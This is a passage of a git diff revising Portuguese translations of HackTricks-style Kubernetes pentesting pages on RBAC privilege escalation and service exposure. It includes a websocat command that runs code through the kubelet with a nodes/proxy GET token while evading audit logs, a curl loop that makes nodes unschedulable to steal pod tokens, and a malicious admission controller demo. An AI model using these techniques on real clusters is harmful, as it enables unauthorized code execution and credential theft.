principal também precisa da permissão **`container.clusters.get`** para conseguir reunir credenciais e acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração do kubectl** (siga o próximo link). > [!WARNING] -> Ao comunicar-se com o endpoint da API do K8s, o token de autenticação do GCP será enviado. Então, o GCP, através do endpoint da API do K8s, primeiro **verificará se o principal** (pelo email) **tem algum acesso dentro do cluster**, depois verificará se tem **qualquer acesso via GCP IAM**.\ -> Se **qualquer** uma dessas for **verdadeira**, será **respondido**. Se **não**, será retornado um **erro** sugerindo conceder **permissões via GCP IAM**. +> Ao falar com o endpoint da api do K8s, o **GCP auth token será enviado**. Então, o GCP, por meio do endpoint da api do K8s, primeiro **verificará se o principal** (por email) **tem algum acesso dentro do cluster**, depois verificará se ele tem **algum acesso via GCP IAM**.\ +> Se **qualquer** um desses for **true**, ele **responderá**. Caso contrário, será retornado **um erro** sugerindo conceder **permissões via GCP IAM**. -Então, o primeiro método é usar **GCP IAM**; as permissões do K8s têm suas **equivalentes em GCP IAM**, e se o principal as possuir, poderá usá-las. +Então, o primeiro método é usar **GCP IAM**: as permissões do K8s têm suas **permissões GCP IAM equivalentes**, e, se o principal as tiver, ele poderá usá-las. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -O segundo método é **atribuir permissões K8s dentro do cluster** identificando o usuário pelo seu **email** (incluindo service accounts do GCP). +O segundo método é **atribuir permissões K8s dentro do cluster** para o usuário identificado pelo seu **email** (incluindo GCP service accounts). ### Create serviceaccounts token -Entidades que podem **create TokenRequests** (`serviceaccounts/token`) ao comunicar-se com o endpoint da API do K8s SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principals que podem **create TokenRequests** (`serviceaccounts/token`) ao falar com o endpoint da api do K8s SAs (info de [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Entidades que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem obter **execução de código em outros pods**, e potencialmente **escapar** para seu node adicionando um ephemeral container com um securityContext privilegiado +Principals que podem **`update`** ou **`patch`** **`pods/ephemeralcontainers`** podem ganhar **code execution em outros pods**, e potencialmente **break out** para o node deles ao adicionar um ephemeral container com um privileged securityContext -### ValidatingWebhookConfigurations ou MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -Entidades com qualquer um dos verbos `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem ser capazes de **criar uma dessas webhookconfigurations** para poder **escalar privilégios**. +Principals com qualquer um dos verbs `create`, `update` ou `patch` sobre `validatingwebhookconfigurations` ou `mutatingwebhookconfigurations` podem conseguir **create one of such webhookconfigurations** para **escalate privileges**. -For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). +Para um exemplo de [`mutatingwebhookconfigurations` check this section of this post](#malicious-admission-controller). ### Escalate -As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), um principal não pode nem atualizar nem criar roles ou clusterroles sem ele mesmo possuir essas novas permissões. Exceto se ele tiver o **verbo `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\ -Então ele pode atualizar/criar novos roles, clusterroles com permissões superiores às que possui. +Como você pode ler na próxima seção: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), um principal não pode atualizar nem create roles ou clusterroles sem possuir essas novas permissões. Exceto se ele tiver o **verb `escalate` ou `*`** sobre **`roles`** ou **`clusterroles`** e as respectivas opções de binding.\ +Então ele pode update/create novos roles, clusterroles com permissões melhores do que as que ele possui. ### Nodes proxy -Entidades com acesso ao subrecurso **`nodes/proxy`** podem **executar código em pods** via a API do Kubelet (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação do Kubelet nesta página: +Principals com acesso ao subresource **`nodes/proxy`** podem **executar code em pods** via a Kubelet API (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Mais informações sobre autenticação do Kubelet nesta página: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -627,12 +631,12 @@ Entidades com acesso ao subrecurso **`nodes/proxy`** podem **executar código em #### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -- O Kubelet mapeia métodos HTTP para verbos RBAC **antes** do upgrade de protocolo. WebSocket handshakes devem começar com **HTTP GET** (`Connection: Upgrade`), então `/exec` via WebSocket é verificado como **verbo `get`** ao invés do esperado `create`. -- `/exec`, `/run`, `/attach`, e `/portforward` não são mapeados explicitamente e caem no subrecurso padrão **`proxy`**, então a questão de autorização torna-se **`can get nodes/proxy?`** -- Se um token tiver apenas **`nodes/proxy` + `get`**, o acesso direto via WebSocket ao kubelet em `https://:10250` permite execução arbitrária de comandos em qualquer pod naquele node. A mesma requisição via o caminho de proxy do API server (`/api/v1/nodes//proxy/exec/...`) é negada porque é um POST HTTP normal e mapeia para `create`. +- Kubelet mapeia HTTP methods para RBAC verbs **antes** do upgrade de protocolo. Handshakes de WebSocket devem começar com **HTTP GET** (`Connection: Upgrade`), então `/exec` via WebSocket é verificado como **verb `get`** em vez do esperado `create`. +- `/exec`, `/run`, `/attach` e `/portforward` não são mapeados explicitamente e caem no subresource padrão **`proxy`**, então a questão de autorização se torna **`can get nodes/proxy?`** +- Se um token tiver apenas **`nodes/proxy` + `get`**, o acesso direto via WebSocket ao kubelet em `https://:10250` permite execução arbitrária de comandos em qualquer pod naquele node. A mesma requisição pelo caminho de proxy do API server (`/api/v1/nodes//proxy/exec/...`) é negada porque é um HTTP POST normal e mapeia para `create`. - O kubelet não realiza uma segunda autorização após o upgrade do WebSocket; apenas o GET inicial é avaliado. -**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** +**Exploit direto (requer alcance de rede até o kubelet e um token com `nodes/proxy` GET):** ```bash kubectl auth can-i --list | grep "nodes/proxy" websocat --insecure \ @@ -640,13 +644,13 @@ websocat --insecure \ --protocol "v4.channel.k8s.io" \ "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" ``` -- Use the **Node IP**, not the node name. The same request with `curl -X POST` will be **Forbidden** because it maps to `create`. -- O acesso direto ao kubelet contorna o API server, então o AuditPolicy mostra apenas `subjectaccessreviews` do kubelet user agent e **não registra comandos `pods/exec`**. -- Enumere os service accounts afetados com o [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET. +- Use o **Node IP**, não o nome do node. A mesma request com `curl -X POST` será **Forbidden** porque mapeia para `create`. +- O acesso direto ao kubelet ignora o API server, então o AuditPolicy mostra apenas `subjectaccessreviews` do user agent do kubelet e **não registra** comandos `pods/exec`. +- Enumere as service accounts afetadas com o [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) para encontrar tokens limitados a `nodes/proxy` GET. ### Delete pods + unschedulable nodes -Identidades que podem **delete pods** (`delete` verb over `pods` resource), ou **evict pods** (`create` verb over `pods/eviction` resource), ou **change pod status** (acesso a `pods/status`) e que podem **make other nodes unschedulable** (acesso a `nodes/status`) ou **delete nodes** (`delete` verb over `nodes` resource) e têm controle sobre um pod, podem **steal pods from other nodes** para que estes sejam **executed** no **compromised** **node** e o atacante possa **steal the tokens** desses pods. +Principals que podem **delete pods** (`delete` verb sobre o recurso `pods`), ou **evict pods** (`create` verb sobre o recurso `pods/eviction`), ou **change pod status** (acesso a `pods/status`) e podem **make other nodes unschedulable** (acesso a `nodes/status`) ou **delete nodes** (`delete` verb sobre o recurso `nodes`) e têm controle sobre um pod, poderiam **steal pods from other nodes** para que eles sejam **executed** no **node** **compromised** e o attacker possa **steal the tokens** desses pods. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -657,43 +661,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Status de services (CVE-2020-8554) +### Services status (CVE-2020-8554) -Entidades que podem **modificar** **`services/status`** podem definir o campo `status.loadBalancer.ingress.ip` para explorar o **CVE-2020-8554 não corrigido** e lançar **ataques MiTM contra o cluster**. A maioria das mitigações para o CVE-2020-8554 apenas evita serviços ExternalIP (de acordo com [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Status de nodes e pods +### Nodes and Pods status -Entidades com permissões **`update`** ou **`patch`** sobre `nodes/status` ou `pods/status` podem modificar rótulos para afetar restrições de agendamento aplicadas. +Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced. -## Prevenção embutida de escalada de privilégios +## Built-in Privileged Escalation Prevention -Kubernetes tem um [mecanismo embutido](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) para prevenir escalada de privilégios. +Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation. -Esse sistema garante que **os usuários não possam elevar seus privilégios modificando roles ou role bindings**. A aplicação dessa regra ocorre no nível da API, oferecendo uma salvaguarda mesmo quando o autorizador RBAC está inativo. +This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive. -A regra estipula que um **usuário só pode criar ou atualizar um role se possuir todas as permissões que o role compreende**. Além disso, o escopo das permissões existentes do usuário deve alinhar-se com o do role que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou confinado ao mesmo namespace (ou em todo o cluster) para Roles. +The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles. > [!WARNING] -> Há uma exceção à regra anterior. Se um principal tiver o **verbo `escalate`** sobre **`roles`** ou **`clusterroles`** ele pode aumentar os privilégios de roles e clusterroles mesmo sem possuir as permissões ele próprio. +> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself. ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Aparentemente essa técnica funcionou antes, mas de acordo com meus testes não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para se dar (ou dar a uma SA diferente) alguns privilégios se você já não os possuir.** +> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** -O privilégio de criar Rolebindings permite que um usuário **vincule roles a uma service account**. Esse privilégio pode potencialmente levar à escalada de privilégios porque **permite ao usuário vincular privilégios de admin a uma service account comprometida.** +The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.** -## Outros Ataques +## Other Attacks ### Sidecar proxy app -Por padrão não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, bidirecional, pod para pod. +By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod. -#### Criar um sidecar proxy app +#### Create a sidecar proxy app -Um container sidecar consiste simplesmente em adicionar um **segundo (ou mais) container dentro de um pod**. +A sidecar container consists just on adding a **second (or more) container inside a pod**. -Por exemplo, o seguinte é parte da configuração de um pod com 2 containers: +For example, the following is part of the configuration of a pod with 2 containers: ```yaml spec: containers: @@ -703,17 +707,17 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -Por exemplo, para inserir uma backdoor em um pod existente com um novo container, você poderia simplesmente adicionar um novo container na especificação. Note que você poderia **dar mais permissões** ao segundo container do que o primeiro não teria. +Por exemplo, para backdoor um pod existente com um novo container, você poderia simplesmente adicionar um novo container na especificação. Note que você poderia **dar mais permissões** ao segundo container que o primeiro não terá. -Mais informações em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Mais info em: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Admission Controller Malicioso +### Malicious Admission Controller -Um admission controller **intercepta requisições para o Kubernetes API server** antes da persistência do objeto, mas **depois que a requisição é autenticada** **e autorizada**. +Um admission controller **intercepta requests para o Kubernetes API server** antes da persistência do objeto, mas **depois que a request é autenticada** **e autorizada**. -Se um atacante de alguma forma conseguir **injetar um Mutation Admission Controller**, ele será capaz de **modificar requisições já autenticadas**. Isso pode possibilitar privesc e, mais comumente, persistir no cluster. +Se um atacante de alguma forma conseguir **injetar um Mutation Admission Controller**, ele será capaz de **modificar requests já autenticadas**. Podendo potencialmente privesc, e mais comumente persistir no cluster. -**Exemplo de** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): +**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo @@ -727,23 +731,23 @@ kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -Em seguida, crie um novo pod: +Então, faça deploy de um novo pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Quando você vir o erro `ErrImagePull`, verifique o nome da imagem com uma das consultas: +Quando você pode ver o erro `ErrImagePull`, verifique o nome da imagem com uma das seguintes queries: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem finalmente executada foi `rewanthtammana/malicious-image`. O que aconteceu!? +Como você pode ver na imagem acima, tentamos executar a imagem `nginx`, mas a imagem final executada é `rewanthtammana/malicious-image`. O que aconteceu!!? -#### Detalhes técnicos +#### Technicalities -O script `./deploy.sh` instala um mutating webhook admission controller, que altera as requisições à Kubernetes API conforme especificado nas suas linhas de configuração, causando os resultados observados: +O script `./deploy.sh` estabelece um mutating webhook admission controller, que modifica requisições para a Kubernetes API conforme especificado em suas linhas de configuração, influenciando os resultados observados: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -751,7 +755,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -O trecho acima substitui a primeira imagem do container em cada pod por `rewanthtammana/malicious-image`. +O snippet acima substitui a primeira imagem do container em cada pod por `rewanthtammana/malicious-image`. ## OPA Gatekeeper bypass @@ -759,22 +763,22 @@ O trecho acima substitui a primeira imagem do container em cada pod por `rewanth ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Boas práticas +## Best Practices -### **Desativar montagem automática de tokens de Service Account** +### **Desabilitando Automount de Service Account Tokens** -- **Pods e Service Accounts**: Por padrão, os pods montam um service account token. Para aumentar a segurança, o Kubernetes permite a desabilitação dessa montagem automática. -- **Como aplicar**: Defina `automountServiceAccountToken: false` na configuração de service accounts ou pods a partir da versão Kubernetes 1.6. +- **Pods and Service Accounts**: Por padrão, pods montam um token de service account. Para aumentar a segurança, Kubernetes permite desabilitar esse recurso de automount. +- **How to Apply**: Defina `automountServiceAccountToken: false` na configuração de service accounts ou pods a partir da versão 1.6 do Kubernetes. -### **Atribuição restritiva de usuários em RoleBindings/ClusterRoleBindings** +### **Atribuição Restritiva de Usuários em RoleBindings/ClusterRoleBindings** -- **Inclusão seletiva**: Garanta que apenas os usuários necessários estejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança restrita. +- **Seleção Específica**: Garanta que apenas usuários necessários sejam incluídos em RoleBindings ou ClusterRoleBindings. Faça auditorias regulares e remova usuários irrelevantes para manter uma segurança rígida. -### **Roles específicas de namespace em vez de Roles em todo o cluster** +### **Roles Específicos de Namespace em vez de Roles de Escopo Global** - **Roles vs. ClusterRoles**: Prefira usar Roles e RoleBindings para permissões específicas de namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam ao cluster inteiro. Essa abordagem oferece controle mais refinado e limita o escopo das permissões. -### **Use ferramentas automatizadas** +### **Use automated tools** {{#ref}} https://github.com/cyberark/KubiScan @@ -788,7 +792,7 @@ https://github.com/aquasecurity/kube-hunter https://github.com/aquasecurity/kube-bench {{#endref}} -## **Referências** +## **References** - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index b51dd9e2d..b8762e59a 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -1,12 +1,12 @@ -# Expondo Serviços no Kubernetes +# Exposing Services in Kubernetes {{#include ../../banners/hacktricks-training.md}} -Existem **diferentes maneiras de expor serviços** no Kubernetes para que tanto **endpoints internos** quanto **endpoints externos** possam acessá-los. Esta configuração do Kubernetes é bastante crítica, pois o administrador pode dar acesso a **atacantes a serviços que eles não deveriam conseguir acessar**. +Há **diferentes maneiras de expor services** no Kubernetes para que tanto endpoints **internos** quanto endpoints **externos** possam acessá-los. Essa configuração do Kubernetes é bem crítica, pois o administrator pode dar acesso a **attackers a services they shouldn't be able to access**. -### Enumeração Automática +### Automatic Enumeration -Antes de começar a enumerar as maneiras que o K8s oferece para expor serviços ao público, saiba que se você pode listar namespaces, serviços e ingresses, pode encontrar tudo exposto ao público com: +Antes de começar a enumerar as maneiras que o K8s oferece para expor services ao público, saiba que se você puder listar namespaces, services e ingresses, você pode encontrar tudo exposto ao público com: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,13 +20,13 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -Um **serviço ClusterIP** é o **padrão** do **Kubernetes**. Ele fornece um **serviço interno** no seu cluster que outros aplicativos dentro do seu cluster podem acessar. Não há **acesso externo**. +Um serviço **ClusterIP** é o **service** padrão do Kubernetes. Ele fornece um **service dentro** do seu cluster que outros apps dentro do seu cluster podem acessar. **Não há acesso externo**. -No entanto, isso pode ser acessado usando o Proxy do Kubernetes: +No entanto, isso pode ser acessado usando o Kubernetes Proxy: ```bash kubectl proxy --port=8080 ``` -Agora, você pode navegar pela API do Kubernetes para acessar serviços usando este esquema: +Agora, você pode navegar pela Kubernetes API para acessar services usando este esquema: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` @@ -34,7 +34,7 @@ Por exemplo, você poderia usar a seguinte URL: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -para acessar este serviço: +para acessar este service: ```yaml apiVersion: v1 kind: Service @@ -58,9 +58,9 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam ``` ### NodePort -Quando **NodePort** é utilizado, uma porta designada é disponibilizada em todos os Nós (representando as Máquinas Virtuais). **O tráfego** direcionado a esta porta específica é então sistematicamente **routed to the service**. Normalmente, este método não é recomendado devido às suas desvantagens. +Quando **NodePort** é utilizado, uma porta designada é disponibilizada em todos os Nodes (representando as Virtual Machines). O **tráfego** direcionado para essa porta específica é então sistematicamente **roteado para o service**. Normalmente, esse método não é recomendado devido às suas desvantagens. -Liste todos os NodePorts: +List all NodePorts: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` @@ -81,28 +81,30 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -Se você **não especificar** o **nodePort** no yaml (é a porta que será aberta), uma porta na **faixa de 30000–32767 será usada**. +Se você **não especificar** o **nodePort** no yaml (é a porta que será aberta), uma porta no **intervalo de 30000–32767 será usada**. -### LoadBalancer +### LoadBalancer -Expõe o Serviço externamente **usando o balanceador de carga de um provedor de nuvem**. No GKE, isso irá iniciar um [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que lhe dará um único endereço IP que encaminhará todo o tráfego para seu serviço. No AWS, ele lançará um Load Balancer. +Expõe o Service externamente **usando um load balancer do cloud provider**. No GKE, isso iniciará um [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) que fornecerá um único endereço IP que encaminhará todo o tráfego para o seu service. No AWS, ele lançará um Load Balancer. -Você tem que pagar por um LoadBalancer por serviço exposto, o que pode ser caro. +Você precisa pagar por um LoadBalancer por service exposto, o que pode ser caro. Liste todos os LoadBalancers: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` -### External IPs +### External IPs > [!TIP] -> IPs externos são expostos por serviços do tipo Load Balancers e geralmente são usados quando um Load Balancer de Provedor de Nuvem externo está sendo utilizado. +> External IPs são expostos por serviços do tipo Load Balancers e geralmente são usados quando um Cloud Provider Load Balancer externo está sendo usado. > > Para encontrá-los, verifique os load balancers com valores no campo `EXTERNAL-IP`. -O tráfego que ingressa no cluster com o **IP externo** (como **IP de destino**), na porta do Serviço, será **routado para um dos endpoints do Serviço**. `externalIPs` não são gerenciados pelo Kubernetes e são de responsabilidade do administrador do cluster. +O tráfego que ingressa no cluster com o **external IP** (como **destination IP**), na porta do Service, será **roteado para um dos endpoints do Service**. `externalIPs` não são gerenciados pelo Kubernetes e são de responsabilidade do administrador do cluster. -Na especificação do Serviço, `externalIPs` podem ser especificados junto com qualquer um dos `ServiceTypes`. No exemplo abaixo, "`my-service`" pode ser acessado por clientes em "`80.11.12.10:80`" (`externalIP:port`) +`externalIPs` é um campo sensível de controle de rota porque um usuário que pode defini-lo pode reivindicar tráfego para um endereço IP que o proprietário do Service não deveria controlar se a rede ao redor rotear esse IP para o cluster. O Kubernetes anunciou a descontinuação e a remoção planejada de `externalIPs` do Service na v1.36, então prefira mecanismos de exposição controlados por controller, como integrações de LoadBalancer ou Gateway API quando possível, e restrinja/autorize esse campo com cuidado enquanto ele ainda existir. + +Na spec do Service, `externalIPs` pode ser especificado junto com qualquer um dos `ServiceTypes`. No exemplo abaixo, "`my-service`" pode ser acessado por clients em "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -121,9 +123,9 @@ externalIPs: ``` ### ExternalName -[**Da documentação:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Serviços do tipo ExternalName **mapeiam um Serviço para um nome DNS**, não para um seletor típico como `my-service` ou `cassandra`. Você especifica esses Serviços com o parâmetro `spec.externalName`. +[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **mapeiam um Service para um nome DNS**, e não para um seletor típico como `my-service` ou `cassandra`. Você especifica esses Services com o parâmetro `spec.externalName`. -Esta definição de Serviço, por exemplo, mapeia o Serviço `my-service` no namespace `prod` para `my.database.example.com`: +Esta definição de Service, por exemplo, mapeia o Service `my-service` no namespace `prod` para `my.database.example.com`: ```yaml apiVersion: v1 kind: Service @@ -134,56 +136,95 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Ao procurar o host `my-service.prod.svc.cluster.local`, o Serviço DNS do cluster retorna um registro `CNAME` com o valor `my.database.example.com`. Acessar `my-service` funciona da mesma forma que outros Serviços, mas com a diferença crucial de que **a redireção acontece no nível DNS** em vez de via proxy ou encaminhamento. +Ao pesquisar o host `my-service.prod.svc.cluster.local`, o cluster DNS Service retorna um registro `CNAME` com o valor `my.database.example.com`. Acessar `my-service` funciona da mesma forma que outros Services, mas com a diferença crucial de que a **redireção acontece no nível de DNS** em vez de via proxy ou forwarding. Liste todos os ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` +### EndpointSlices + +EndpointSlices mostram os endereços e portas concretos de backend para os quais um Service atualmente roteia. Elas são especialmente úteis quando um Service não tem selector, quando labels não explicam o caminho do tráfego, ou quando apenas alguns backends estão prontos. + +Liste os EndpointSlices associados aos Services: +```bash +kubectl get endpointslices --all-namespaces +kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml +kubectl get endpointslice -n -l kubernetes.io/service-name= \ +-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' +``` +Ao revisar a exposição, compare o seletor do Service com o `targetRef` do EndpointSlice, os endereços do endpoint, as condições de readiness e as portas. Um Service sem selector pode ser combinado com EndpointSlices gerenciados manualmente e encaminhar tráfego para destinos que não são Pods ou inesperados. + ### Ingress -Ao contrário de todos os exemplos acima, **Ingress NÃO é um tipo de serviço**. Em vez disso, ele fica **na frente de vários serviços e atua como um “roteador inteligente”** ou ponto de entrada para o seu cluster. +Ao contrário de todos os exemplos acima, **Ingress NÃO é um tipo de service**. Em vez disso, ele fica **na frente de multiple services e atua como um “smart router”** ou ponto de entrada para o seu cluster. -Você pode fazer muitas coisas diferentes com um Ingress, e existem **muitos tipos de controladores de Ingress que têm diferentes capacidades**. +Você pode fazer muitas coisas diferentes com um Ingress, e existem **muitos tipos de Ingress controllers que têm capacidades diferentes**. -O controlador de ingress padrão do GKE irá criar um [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para você. Isso permitirá que você faça roteamento baseado em caminho e subdomínio para serviços de backend. Por exemplo, você pode enviar tudo em foo.yourdomain.com para o serviço foo, e tudo sob o caminho yourdomain.com/bar/ para o serviço bar. +O Ingress controller padrão do GKE vai provisionar um [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) para você. Isso permitirá fazer roteamento baseado em path e também baseado em subdomínio para backend services. Por exemplo, você pode enviar tudo em foo.yourdomain.com para o service foo, e tudo sob o path yourdomain.com/bar/ para o service bar. O YAML para um objeto Ingress no GKE com um [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) pode parecer assim: ```yaml -apiVersion: extensions/v1beta1 +apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress spec: -backend: -serviceName: other -servicePort: 8080 +defaultBackend: +service: +name: other +port: +number: 8080 rules: - host: foo.mydomain.com http: paths: -- backend: -serviceName: foo -servicePort: 8080 +- path: / +pathType: Prefix +backend: +service: +name: foo +port: +number: 8080 - host: mydomain.com http: paths: -- path: /bar/* +- path: /bar +pathType: Prefix backend: -serviceName: bar -servicePort: 8080 +service: +name: bar +port: +number: 8080 ``` -Liste todos os ingressos: +Liste todos os ingresses: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Embora neste caso seja melhor obter as informações de cada um individualmente para lê-las melhor: +Embora, neste caso, seja melhor obter as informações de cada uma, uma por uma, para lê-las melhor: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` -### Referências +### Gateway API + +Gateway API é a nova API do Kubernetes para expor Services. Ela separa os objetos Gateway, de propriedade da infraestrutura, dos objetos Route, de propriedade da aplicação, como HTTPRoute. Isso é útil para delegation, mas também significa que a exposição pode ser dividida entre namespaces. + +List Gateway API exposure objects: +```bash +kubectl get gatewayclasses +kubectl get gateways --all-namespaces +kubectl get httproutes --all-namespaces +kubectl get gateway -n -o yaml +kubectl get httproute -n -o yaml +``` +Verifique os listeners do Gateway, namespaces de rotas permitidos, `parentRefs` da Route, hostnames, filters, backend references e status conditions, como se a route foi aceita. Uma Route aceita por um shared Gateway pode expor um backend mesmo quando nenhum objeto Ingress legado existe. + +### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- 